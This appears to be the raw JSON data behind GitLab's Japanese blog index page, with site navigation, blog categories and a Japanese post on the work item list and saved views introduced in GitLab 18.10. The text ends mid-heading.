[{"data":1,"prerenderedAt":1241},["ShallowReactive",2],{"/ja-jp/blog":3,"navigation-ja-jp":19,"banner-ja-jp":418,"footer-ja-jp":428,"blogCategories-ja-jp":634,"relatedBlogPosts-ja-jp":779,"mainFeaturedPost-ja-jp":1199,"recentFeaturedPosts-ja-jp":1204,"recentPosts-ja-jp":1219},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":17,"testContent":6,"type":6,"__hash__":18},"pages/ja-jp/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab日本語公式ブログ","yml",{},true,"/ja-jp/blog",{"title":10,"description":16},"GitLab公式ブログ。DevSecOps、CI/CD、セキュリティ、アジャイル開発に関するチュートリアル、製品情報、エキスパートによる解説記事を配信中。","ja-jp/blog/index","DH1H-4zPDULD2DXiy0jUPRB0bQlJQmpeAEm4J8yG_rk",{"data":20},{"logo":21,"freeTrial":26,"sales":31,"login":36,"items":41,"search":349,"minimal":382,"duo":399,"pricingDeployment":408},{"config":22},{"href":23,"dataGaName":24,"dataGaLocation":25},"/ja-jp/","gitlab logo","header",{"text":27,"config":28},"無料トライアルを開始",{"href":29,"dataGaName":30,"dataGaLocation":25},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":32,"config":33},"お問い合わせ",{"href":34,"dataGaName":35,"dataGaLocation":25},"/ja-jp/sales/","sales",{"text":37,"config":38},"サインイン",{"href":39,"dataGaName":40,"dataGaLocation":25},"https://gitlab.com/users/sign_in/","sign in",[42,69,165,170,271,331],{"text":43,"config":44,"cards":46},"プラットフォーム",{"dataNavLevelOne":45},"platform",[47,53,61],{"title":43,"description":48,"link":49},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":50,"config":51},"プラットフォームを詳しく見る",{"href":52,"dataGaName":45,"dataGaLocation":25},"/ja-jp/platform/",{"title":54,"description":55,"link":56},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":57,"config":58},"GitLab Duoのご紹介",{"href":59,"dataGaName":60,"dataGaLocation":25},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":62,"description":63,"link":64},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":65,"config":66},"詳細はこちら",{"href":67,"dataGaName":68,"dataGaLocation":25},"/ja-jp/why-gitlab/","why gitlab",{"text":70,"left":13,"config":71,"link":73,"lists":77,"footer":147},"製品",{"dataNavLevelOne":72},"solutions",{"text":74,"config":75},"すべてのソリューションを表示",{"href":76,"dataGaName":72,"dataGaLocation":25},"/ja-jp/solutions/",[78,103,125],{"title":79,"description":80,"link":81,"items":86},"自動化","CI/CDと自動化でデプロイを加速",{"config":82},{"icon":83,"href":84,"dataGaName":85,"dataGaLocation":25},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[87,91,94,99],{"text":88,"config":89},"CI/CD",{"href":90,"dataGaLocation":25,"dataGaName":88},"/ja-jp/solutions/continuous-integration/",{"text":54,"config":92},{"href":59,"dataGaLocation":25,"dataGaName":93},"gitlab duo agent platform - product menu",{"text":95,"config":96},"ソースコード管理",{"href":97,"dataGaLocation":25,"dataGaName":98},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":100,"config":101},"自動化されたソフトウェアデリバリー",{"href":84,"dataGaLocation":25,"dataGaName":102},"Automated software delivery",{"title":104,"description":105,"link":106,"items":111},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":107},{"href":108,"dataGaName":109,"dataGaLocation":25,"icon":110},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[112,116,121],{"text":113,"config":114},"Application Security Testing",{"href":108,"dataGaName":115,"dataGaLocation":25},"Application security testing",{"text":117,"config":118},"ソフトウェアサプライチェーンの安全性",{"href":119,"dataGaLocation":25,"dataGaName":120},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":122,"config":123},"Software Compliance",{"href":124,"dataGaName":122,"dataGaLocation":25},"/ja-jp/solutions/software-compliance/",{"title":126,"link":127,"items":132},"測定",{"config":128},{"icon":129,"href":130,"dataGaName":131,"dataGaLocation":25},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[133,137,142],{"text":134,"config":135},"可視性と測定",{"href":130,"dataGaLocation":25,"dataGaName":136},"Visibility and Measurement",{"text":138,"config":139},"バリューストリーム管理",{"href":140,"dataGaLocation":25,"dataGaName":141},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":143,"config":144},"分析とインサイト",{"href":145,"dataGaLocation":25,"dataGaName":146},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":148,"items":149},"GitLabが活躍する場所",[150,155,160],{"text":151,"config":152},"Enterprise",{"href":153,"dataGaLocation":25,"dataGaName":154},"/ja-jp/enterprise/","enterprise",{"text":156,"config":157},"スモールビジネス",{"href":158,"dataGaLocation":25,"dataGaName":159},"/ja-jp/small-business/","small business",{"text":161,"config":162},"公共機関",{"href":163,"dataGaLocation":25,"dataGaName":164},"/ja-jp/solutions/public-sector/","public sector",{"text":166,"config":167},"価格",{"href":168,"dataGaName":169,"dataGaLocation":25,"dataNavLevelOne":169},"/ja-jp/pricing/","pricing",{"text":171,"config":172,"link":174,"lists":178,"feature":258},"関連リソース",{"dataNavLevelOne":173},"resources",{"text":175,"config":176},"すべてのリソースを表示",{"href":177,"dataGaName":173,"dataGaLocation":25},"/ja-jp/resources/",[179,212,230],{"title":180,"items":181},"はじめに",[182,187,192,197,202,207],{"text":183,"config":184},"インストール",{"href":185,"dataGaName":186,"dataGaLocation":25},"/ja-jp/install/","install",{"text":188,"config":189},"クイックスタートガイド",{"href":190,"dataGaName":191,"dataGaLocation":25},"/ja-jp/get-started/","quick setup checklists",{"text":193,"config":194},"学ぶ",{"href":195,"dataGaLocation":25,"dataGaName":196},"https://university.gitlab.com/","learn",{"text":198,"config":199},"製品ドキュメント",{"href":200,"dataGaName":201,"dataGaLocation":25},"https://docs.gitlab.com/","product documentation",{"text":203,"config":204},"ベストプラクティスビデオ",{"href":205,"dataGaName":206,"dataGaLocation":25},"/ja-jp/getting-started-videos/","best practice videos",{"text":208,"config":209},"インテグレーション",{"href":210,"dataGaName":211,"dataGaLocation":25},"/ja-jp/integrations/","integrations",{"title":213,"items":214},"検索する",[215,220,225],{"text":216,"config":217},"お客様成功事例",{"href":218,"dataGaName":219,"dataGaLocation":25},"/ja-jp/customers/","customer success stories",{"text":221,"config":222},"ブログ",{"href":223,"dataGaName":224,"dataGaLocation":25},"/ja-jp/blog/","blog",{"text":226,"config":227},"リモート",{"href":228,"dataGaName":229,"dataGaLocation":25},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":231,"items":232},"つなげる",[233,238,243,248,253],{"text":234,"config":235},"GitLabサービス",{"href":236,"dataGaName":237,"dataGaLocation":25},"/ja-jp/services/","services",{"text":239,"config":240},"コミュニティ",{"href":241,"dataGaName":242,"dataGaLocation":25},"/community/","community",{"text":244,"config":245},"フォーラム",{"href":246,"dataGaName":247,"dataGaLocation":25},"https://forum.gitlab.com/","forum",{"text":249,"config":250},"イベント",{"href":251,"dataGaName":252,"dataGaLocation":25},"/events/","events",{"text":254,"config":255},"パートナー",{"href":256,"dataGaName":257,"dataGaLocation":25},"/ja-jp/partners/","partners",{"backgroundColor":259,"textColor":260,"text":261,"image":262,"link":266},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":263,"config":264},"ソースプロモカード",{"src":265},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":267,"config":268},"最新情報を読む",{"href":269,"dataGaName":270,"dataGaLocation":25},"/ja-jp/the-source/","the source",{"text":272,"config":273,"lists":275},"会社情報",{"dataNavLevelOne":274},"company",[276],{"items":277},[278,283,289,291,296,301,306,311,316,321,326],{"text":279,"config":280},"GitLabについて",{"href":281,"dataGaName":282,"dataGaLocation":25},"/ja-jp/company/","about",{"text":284,"config":285,"footerGa":288},"採用情報",{"href":286,"dataGaName":287,"dataGaLocation":25},"/jobs/","jobs",{"dataGaName":287},{"text":249,"config":290},{"href":251,"dataGaName":252,"dataGaLocation":25},{"text":292,"config":293},"経営陣",{"href":294,"dataGaName":295,"dataGaLocation":25},"/company/team/e-group/","leadership",{"text":297,"config":298},"チーム",{"href":299,"dataGaName":300,"dataGaLocation":25},"/company/team/","team",{"text":302,"config":303},"ハンドブック",{"href":304,"dataGaName":305,"dataGaLocation":25},"https://handbook.gitlab.com/","handbook",{"text":307,"config":308},"投資家向け情報",{"href":309,"dataGaName":310,"dataGaLocation":25},"https://ir.gitlab.com/","investor relations",{"text":312,"config":313},"トラストセンター",{"href":314,"dataGaName":315,"dataGaLocation":25},"/ja-jp/security/","trust center",{"text":317,"config":318},"AI Transparency Center",{"href":319,"dataGaName":320,"dataGaLocation":25},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":322,"config":323},"ニュースレター",{"href":324,"dataGaName":325,"dataGaLocation":25},"/company/contact/#contact-forms","newsletter",{"text":327,"config":328},"プレス",{"href":329,"dataGaName":330,"dataGaLocation":25},"/press/","press",{"text":32,"config":332,"lists":333},{"dataNavLevelOne":274},[334],{"items":335},[336,339,344],{"text":32,"config":337},{"href":34,"dataGaName":338,"dataGaLocation":25},"talk to sales",{"text":340,"config":341},"サポートポータル",{"href":342,"dataGaName":343,"dataGaLocation":25},"https://support.gitlab.com","support portal",{"text":345,"config":346},"カスタマーポータル",{"href":347,"dataGaName":348,"dataGaLocation":25},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":350,"login":351,"suggestions":358},"閉じる",{"text":352,"link":353},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":354,"config":355},"GitLab.com",{"href":39,"dataGaName":356,"dataGaLocation":357},"search login","search",{"text":359,"default":360},"提案",[361,363,368,370,374,378],{"text":54,"config":362},{"href":59,"dataGaName":54,"dataGaLocation":357},{"text":364,"config":365},"コード提案（AI）",{"href":366,"dataGaName":367,"dataGaLocation":357},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":88,"config":369},{"href":90,"dataGaName":88,"dataGaLocation":357},{"text":371,"config":372},"GitLab on AWS",{"href":373,"dataGaName":371,"dataGaLocation":357},"/ja-jp/partners/technology-partners/aws/",{"text":375,"config":376},"GitLab on Google Cloud",{"href":377,"dataGaName":375,"dataGaLocation":357},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":379,"config":380},"GitLabを選ぶ理由",{"href":67,"dataGaName":381,"dataGaLocation":357},"Why GitLab?",{"freeTrial":383,"mobileIcon":387,"desktopIcon":392,"secondaryButton":395},{"text":27,"config":384},{"href":385,"dataGaName":30,"dataGaLocation":386},"https://gitlab.com/-/trials/new/","nav",{"altText":388,"config":389},"GitLabアイコン",{"src":390,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":388,"config":393},{"src":394,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":180,"config":396},{"href":397,"dataGaName":398,"dataGaLocation":386},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":400,"mobileIcon":404,"desktopIcon":406},{"text":401,"config":402},"GitLab Duoの詳細について",{"href":59,"dataGaName":403,"dataGaLocation":386},"gitlab duo",{"altText":388,"config":405},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":407},{"src":394,"dataGaName":391,"dataGaLocation":386},{"freeTrial":409,"mobileIcon":414,"desktopIcon":416},{"text":410,"config":411},"料金ページに戻る",{"href":168,"dataGaName":412,"dataGaLocation":386,"icon":413},"back to pricing","GoBack",{"altText":388,"config":415},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":417},{"src":394,"dataGaName":391,"dataGaLocation":386},{"title":419,"button":420,"config":425},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":421,"config":422},"GitLab Transcendを今すぐ視聴",{"href":423,"dataGaName":424,"dataGaLocation":25},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":426,"icon":427,"disabled":13},"release","AiStar",{"data":429},{"text":430,"source":431,"edit":437,"contribute":442,"config":447,"items":452,"minimal":626},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":432,"config":433},"ページのソースを表示",{"href":434,"dataGaName":435,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":438,"config":439},"このページを編集",{"href":440,"dataGaName":441,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":443,"config":444},"ご協力をお願いします",{"href":445,"dataGaName":446,"dataGaLocation":436},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":448,"facebook":449,"youtube":450,"linkedin":451},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[453,476,530,560,595],{"title":43,"links":454,"subMenu":459},[455],{"text":456,"config":457},"DevSecOpsプラットフォーム",{"href":52,"dataGaName":458,"dataGaLocation":436},"devsecops platform",[460],{"title":166,"links":461},[462,466,471],{"text":463,"config":464},"プランの表示",{"href":168,"dataGaName":465,"dataGaLocation":436},"view plans",{"text":467,"config":468},"Premiumを選ぶ理由",{"href":469,"dataGaName":470,"dataGaLocation":436},"/ja-jp/pricing/premium/","why premium",{"text":472,"config":473},"Ultimateを選ぶ理由",{"href":474,"dataGaName":475,"dataGaLocation":436},"/ja-jp/pricing/ultimate/","why ultimate",{"title":477,"links":478},"ソリューション",[479,484,487,489,494,499,503,506,509,514,516,518,520,525],{"text":480,"config":481},"デジタルトランスフォーメーション",{"href":482,"dataGaName":483,"dataGaLocation":436},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":485,"config":486},"セキュリティとコンプライアンス",{"href":108,"dataGaName":115,"dataGaLocation":436},{"text":100,"config":488},{"href":84,"dataGaName":85,"dataGaLocation":436},{"text":490,"config":491},"アジャイル開発",{"href":492,"dataGaName":493,"dataGaLocation":436},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":495,"config":496},"クラウドトランスフォーメーション",{"href":497,"dataGaName":498,"dataGaLocation":436},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":500,"config":501},"SCM",{"href":97,"dataGaName":502,"dataGaLocation":436},"source code management",{"text":88,"config":504},{"href":90,"dataGaName":505,"dataGaLocation":436},"continuous integration & delivery",{"text":138,"config":507},{"href":140,"dataGaName":508,"dataGaLocation":436},"value stream management",{"text":510,"config":511},"GitOps",{"href":512,"dataGaName":513,"dataGaLocation":436},"/ja-jp/solutions/gitops/","gitops",{"text":151,"config":515},{"href":153,"dataGaName":154,"dataGaLocation":436},{"text":156,"config":517},{"href":158,"dataGaName":159,"dataGaLocation":436},{"text":161,"config":519},{"href":163,"dataGaName":164,"dataGaLocation":436},{"text":521,"config":522},"教育",{"href":523,"dataGaName":524,"dataGaLocation":436},"/ja-jp/solutions/education/","education",{"text":526,"config":527},"金融サービス",{"href":528,"dataGaName":529,"dataGaLocation":436},"/ja-jp/solutions/finance/","financial services",{"title":171,"links":531},[532,534,536,538,541,543,546,548,550,552,554,556,558],{"text":183,"config":533},{"href":185,"dataGaName":186,"dataGaLocation":436},{"text":188,"config":535},{"href":190,"dataGaName":191,"dataGaLocation":436},{"text":193,"config":537},{"href":195,"dataGaName":196,"dataGaLocation":436},{"text":198,"config":539},{"href":200,"dataGaName":540,"dataGaLocation":436},"docs",{"text":221,"config":542},{"href":223,"dataGaName":224},{"text":544,"config":545},"お客様の成功事例",{"href":218,"dataGaLocation":436},{"text":216,"config":547},{"href":218,"dataGaName":219,"dataGaLocation":436},{"text":226,"config":549},{"href":228,"dataGaName":229,"dataGaLocation":436},{"text":234,"config":551},{"href":236,"dataGaName":237,"dataGaLocation":436},{"text":239,"config":553},{"href":241,"dataGaName":242,"dataGaLocation":436},{"text":244,"config":555},{"href":246,"dataGaName":247,"dataGaLocation":436},{"text":249,"config":557},{"href":251,"dataGaName":252,"dataGaLocation":436},{"text":254,"config":559},{"href":256,"dataGaName":257,"dataGaLocation":436},{"title":561,"links":562},"Company",[563,565,567,569,571,573,575,579,584,586,588,590],{"text":279,"config":564},{"href":281,"dataGaName":274,"dataGaLocation":436},{"text":284,"config":566},{"href":286,"dataGaName":287,"dataGaLocation":436},{"text":292,"config":568},{"href":294,"dataGaName":295,"dataGaLocation":436},{"text":297,"config":570},{"href":299,"dataGaName":300,"dataGaLocation":436},{"text":302,"config":572},{"href":304,"dataGaName":305,"dataGaLocation":436},{"text":307,"config":574},{"href":309,"dataGaName":310,"dataGaLocation":436},{"text":576,"config":577},"Sustainability",{"href":578,"dataGaName":576,"dataGaLocation":436},"/sustainability/",{"text":580,"config":581},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":582,"dataGaName":583,"dataGaLocation":436},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":312,"config":585},{"href":314,"dataGaName":315,"dataGaLocation":436},{"text":322,"config":587},{"href":324,"dataGaName":325,"dataGaLocation":436},{"text":327,"config":589},{"href":329,"dataGaName":330,"dataGaLocation":436},{"text":591,"config":592},"現代奴隷制の透明性に関する声明",{"href":593,"dataGaName":594,"dataGaLocation":436},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":32,"links":596},[597,599,604,606,611,616,621],{"text":32,"config":598},{"href":34,"dataGaName":35,"dataGaLocation":436},{"text":600,"config":601},"サポートを受ける",{"href":602,"dataGaName":603,"dataGaLocation":436},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":345,"config":605},{"href":347,"dataGaName":348,"dataGaLocation":436},{"text":607,"config":608},"ステータス",{"href":609,"dataGaName":610,"dataGaLocation":436},"https://status.gitlab.com/","status",{"text":612,"config":613},"利用規約",{"href":614,"dataGaName":615,"dataGaLocation":436},"/terms/","terms of use",{"text":617,"config":618},"プライバシーに関する声明",{"href":619,"dataGaName":620,"dataGaLocation":436},"/ja-jp/privacy/","privacy statement",{"text":622,"config":623},"Cookieの設定",{"dataGaName":624,"dataGaLocation":436,"id":625,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"items":627},[628,630,632],{"text":612,"config":629},{"href":614,"dataGaName":615,"dataGaLocation":436},{"text":617,"config":631},{"href":619,"dataGaName":620,"dataGaLocation":436},{"text":622,"config":633},{"dataGaName":624,"dataGaLocation":436,"id":625,"isOneTrustButton":13},[635,650,663,676,689,702,715,728,741,753,765],{"id":636,"title":637,"body":6,"category":6,"config":638,"content":642,"description":6,"extension":11,"meta":644,"navigation":13,"path":645,"seo":646,"slug":6,"stem":648,"testContent":6,"type":6,"__hash__":649},"blogCategories/ja-jp/blog/categories/agile-planning.yml","Agile Planning",{"template":639,"slug":640,"hide":641},"BlogCategory","agile-planning",false,{"name":643},"アジャイル計画",{},"/ja-jp/blog/categories/agile-planning",{"title":643,"description":647},"Browse articles related to アジャイル計画 on the GitLab Blog","ja-jp/blog/categories/agile-planning","3XMGWxFID4Xn7Zb7VG5t2ErvQiOZyEA8qGjj9AZnkUc",{"id":651,"title":652,"body":6,"category":6,"config":653,"content":655,"description":6,"extension":11,"meta":657,"navigation":13,"path":658,"seo":659,"slug":6,"stem":661,"testContent":6,"type":6,"__hash__":662},"blogCategories/ja-jp/blog/categories/ai-ml.yml","Ai Ml",{"template":639,"slug":654,"hide":641},"ai-ml",{"name":656},"AIと機械学習",{},"/ja-jp/blog/categories/ai-ml",{"title":656,"description":660},"Browse articles related to AIと機械学習 on the GitLab Blog","ja-jp/blog/categories/ai-ml","jG8GFqwOpXrztyTsaopr9C1P8WFUG5S3gcnAG80ISE8",{"id":664,"title":665,"body":6,"category":6,"config":666,"content":668,"description":6,"extension":11,"meta":670,"navigation":13,"path":671,"seo":672,"slug":6,"stem":674,"testContent":6,"type":6,"__hash__":675},"blogCategories/ja-jp/blog/categories/bulletin-board.yml","Bulletin Board",{"template":639,"slug":667,"hide":641},"bulletin-board",{"name":669},"掲示板",{},"/ja-jp/blog/categories/bulletin-board",{"title":669,"description":673},"Browse articles related to 掲示板 on the GitLab Blog","ja-jp/blog/categories/bulletin-board","MCS_b-O2cABvp9xxJ-YiiNBeq8NPH1SWUDEpRA2FMvY",{"id":677,"title":678,"body":6,"category":6,"config":679,"content":681,"description":6,"extension":11,"meta":683,"navigation":13,"path":684,"seo":685,"slug":6,"stem":687,"testContent":6,"type":6,"__hash__":688},"blogCategories/ja-jp/blog/categories/customer-stories.yml","Customer Stories",{"template":639,"slug":680,"hide":641},"customer-stories",{"name":682},"お客様事例",{},"/ja-jp/blog/categories/customer-stories",{"title":682,"description":686},"Browse articles related to お客様事例 on the GitLab Blog","ja-jp/blog/categories/customer-stories","lGVL4JgeCQ2qcti0wiiHR18KAnwiYgSBJ79UeuKh46U",{"id":690,"title":691,"body":6,"category":6,"config":692,"content":694,"description":6,"extension":11,"meta":696,"navigation":13,"path":697,"seo":698,"slug":6,"stem":700,"testContent":6,"type":6,"__hash__":701},"blogCategories/ja-jp/blog/categories/devsecops.yml","Devsecops",{"template":639,"slug":693,"hide":641},"devsecops",{"name":695},"DevSecOps",{},"/ja-jp/blog/categories/devsecops",{"title":695,"description":699},"Browse articles related to DevSecOps on the GitLab Blog","ja-jp/blog/categories/devsecops","PnENGBCysjZBR9hTtQiP2ai_Fl_1S4liCpNVrKHG714",{"id":703,"title":704,"body":6,"category":6,"config":705,"content":707,"description":6,"extension":11,"meta":709,"navigation":13,"path":710,"seo":711,"slug":6,"stem":713,"testContent":6,"type":6,"__hash__":714},"blogCategories/ja-jp/blog/categories/engineering.yml","Engineering",{"template":639,"slug":706,"hide":641},"engineering",{"name":708},"エンジニアリング",{},"/ja-jp/blog/categories/engineering",{"title":708,"description":712},"Browse articles related to エンジニアリング on the GitLab Blog","ja-jp/blog/categories/engineering","SP1p0HNY-4BlLIVgrET9_T9CAStAMizH3Ee46PrhOa0",{"id":716,"title":717,"body":6,"category":6,"config":718,"content":720,"description":6,"extension":11,"meta":722,"navigation":13,"path":723,"seo":724,"slug":6,"stem":726,"testContent":6,"type":6,"__hash__":727},"blogCategories/ja-jp/blog/categories/news.yml","News",{"template":639,"slug":719,"hide":641},"news",{"name":721},"ニュース",{},"/ja-jp/blog/categories/news",{"title":721,"description":725},"Browse articles related to ニュース on the GitLab Blog","ja-jp/blog/categories/news","rAtdE3wLr8GCjTriOnwwNVbk-lwcHv7Hr8-ThDV-7Yk",{"id":729,"title":730,"body":6,"category":6,"config":731,"content":733,"description":6,"extension":11,"meta":735,"navigation":13,"path":736,"seo":737,"slug":6,"stem":739,"testContent":6,"type":6,"__hash__":740},"blogCategories/ja-jp/blog/categories/open-source.yml","Open Source",{"template":639,"slug":732,"hide":641},"open-source",{"name":734},"オープンソース",{},"/ja-jp/blog/categories/open-source",{"title":734,"description":738},"Browse articles related to オープンソース on the GitLab Blog","ja-jp/blog/categories/open-source","LCQ49rG9L1fAIcDY77l5gbBeJfk0jZDAh6RiQm8iSEw",{"id":742,"title":743,"body":6,"category":6,"config":744,"content":746,"description":6,"extension":11,"meta":747,"navigation":13,"path":748,"seo":749,"slug":6,"stem":751,"testContent":6,"type":6,"__hash__":752},"blogCategories/ja-jp/blog/categories/product.yml","Product",{"template":639,"slug":745,"hide":641},"product",{"name":70},{},"/ja-jp/blog/categories/product",{"title":70,"description":750},"Browse articles related to 製品 on the GitLab Blog","ja-jp/blog/categories/product","T5gPLT0EKa55oFAhzMvgYqcDzsDivjGj_s2lEGUoVSw",{"id":754,"title":755,"body":6,"category":6,"config":756,"content":758,"description":6,"extension":11,"meta":759,"navigation":13,"path":760,"seo":761,"slug":6,"stem":763,"testContent":6,"type":6,"__hash__":764},"blogCategories/ja-jp/blog/categories/security.yml","Security",{"template":639,"slug":757,"hide":641},"security",{"name":104},{},"/ja-jp/blog/categories/security",{"title":104,"description":762},"Browse articles related to セキュリティ on the GitLab Blog","ja-jp/blog/categories/security","NurKrti9U9DuY3QiqXnIttJSyKF0TC_mNZTQ_Le6Yek",{"id":766,"title":767,"body":6,"category":6,"config":768,"content":770,"description":6,"extension":11,"meta":773,"navigation":13,"path":774,"seo":775,"slug":6,"stem":777,"testContent":6,"type":6,"__hash__":778},"blogCategories/ja-jp/blog/categories/security-labs.yml","Security Labs",{"template":639,"isCustomCategory":13,"slug":769,"hide":641},"security-labs",{"name":771,"description":772},"セキュリティリサーチ","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/ja-jp/blog/categories/security-labs",{"title":771,"description":776},"Browse articles related to セキュリティリサーチ on the GitLab Blog","ja-jp/blog/categories/security-labs","-X8QcedzdzVRaFBAA3gmxbVhS6zVmEJT1EYG7gUnsgc",[780,825,866,905,944,984,1027,1063,1102,1136,1171],{"category":643,"slug":640,"posts":781},[782,798,812],{"content":783,"config":795},{"heroImage":784,"body":785,"authors":786,"updatedDate":788,"date":789,"title":790,"tags":791,"description":794,"category":640},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","GitLabのアジャイル計画体験が大幅に強化されます。 GitLab 18.10から導入される新しいワークアイテムリストと保存済みビューにより、長年要望の多かった2つの機能が実現します。すべてのワークアイテムタイプを一覧表示する統合リストと、カスタマイズしたリスト設定を保存して再利用できる保存済みビューです。\n\nこれらの機能により、以下のことが可能になります。\n\n* 日常のワークフローにおいて繰り返し設定する必要のあったフィルター設定が不要になります\n* チーム全体が統一された方法で作業を確認・評価できます\n* 標準化されたレポート作成やステータス確認が容易になります\n\n## ワークアイテムとは？\n\nこれまで、エピックとイシューはそれぞれ別のリストページに存在していたため、ユーザーはページ間を行き来する必要がありました。ワークアイテムリストは、エピック・イシューをはじめとするすべてのワークアイテムタイプを単一の統合リストにまとめ、異なるワークアイテムタイプごとにページを切り替える手間をなくします。\n\nこの機能は、今後提供予定のより高度な計画機能の基盤でもあります。すべてのワークアイテムタイプを一か所に集約することで、エピック・イシューなどのアイテム間の関係性や構造を一目で把握できる階層ビュー（テーブルビューなど）の実現への道が開かれます。\n\nリストビューや階層ビューにとどまらず、ボードなどの他の一般的なワークフローもこの統合された体験に組み込んでいく予定です。その結果、計画に必要なすべてのビューが一か所に集まり、保存済みビューを通じてチームと共有できるようになります。製品の異なる部分をまたいで移動する必要はなくなります。\n\nなぜ「イシュー」ではなく「ワークアイテム」と呼ぶのか、疑問に思われるかもしれません。簡単に言うと、「イシュー」という言葉は今後の展開に対応できないからです。近い将来、ワークアイテムタイプは、その名称も含めて自由に設定し、組織のプランニング階層に合わせてカスタマイズできるようになります。既存の名称に縛られた体験では、その柔軟性が損なわれてしまいます。「ワークアイテム」は、独自の裁量で作成できるモデルの基盤となる概念です。\n\n![ワークアイテムリストのビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## ワークアイテムへの移行の背景は？\n\n2024年、私たちはワークアイテムフレームワークを基盤とした[GitLabにおける新しいアジャイル計画体験のビジョン](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/)を発表しました。その記事では、エピックとイシューが別々の体験として存在していたため、計画オブジェクト全体で一貫した機能を期待するチームとは齟齬が生じていたという核心的な問題を説明しました。その解決策といして登場したのがワークアイテムフレームワークです。一貫性を実現し、GitLabの計画ツール全体で新たな機能を実現可能にするために設計された統合アーキテクチャです。ワークアイテムリストと保存済みビューは、その道のりにおける一歩です。\n\n## 保存済みビューとは？\n\n保存済みビューを使用すると、フィルター・並び替え順・表示オプションを含むカスタマイズされたリスト設定を保存し、後から呼び出すことができます。日常的な確認作業を効率化し、チーム全体で一貫した標準的な作業確認方法をサポートすることを目的としています。\n\n![Saved view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## 今後の展望\n\nGitLabが行っている変更の理由を理解するには、GitLabが目指す先をイメージしていただくことが助けになります。\n\n目標は単なるワークアイテムリストではありません。現在のフィルタースコープを保持しながら、さまざまなビュータイプ（リスト・ボード・テーブルなど）をスムーズに切り替えられる計画体験の実現です。\n\nそこに保存済みビューを組み合わせることで、各ワークフロー専用のビューを作成できます。イテレーションプランニング、バックログリファインメント、ネストされたテーブルビューを使ったポートフォリオレベルの計画など、さまざまな用途に対応します。\n\n各ビューはすぐに使える状態で、フィルタリングや作業の表示方法が統一されており、チームと共有することができます。このフレームワークは、ボードのあらゆるワークアイテム属性に対するフルスイムレーンサポートなど、今後のより強力な機能実現への道も開きます。\n\n日々使用しているツールの変更が、作業の妨げになることは十分に理解しています。既存のエピックおよびイシューリストページを中心としたワークフローを構築されている場合、見た目や使い心地は変わるでしょう。決してその点を軽く考えているわけではありません。\n\nこの方針は短期間で決めたものではありません。長年にわたるフィードバック、ワークアイテムフレームワークへの多大なアーキテクチャ投資、そして統合された体験が長期的にチームをより良くサポートできるという確信を反映したものです。移行には慣れが必要だと思いますが、皆さまのご意見をもとに継続的に改善を重ねてまいります。\n\n## 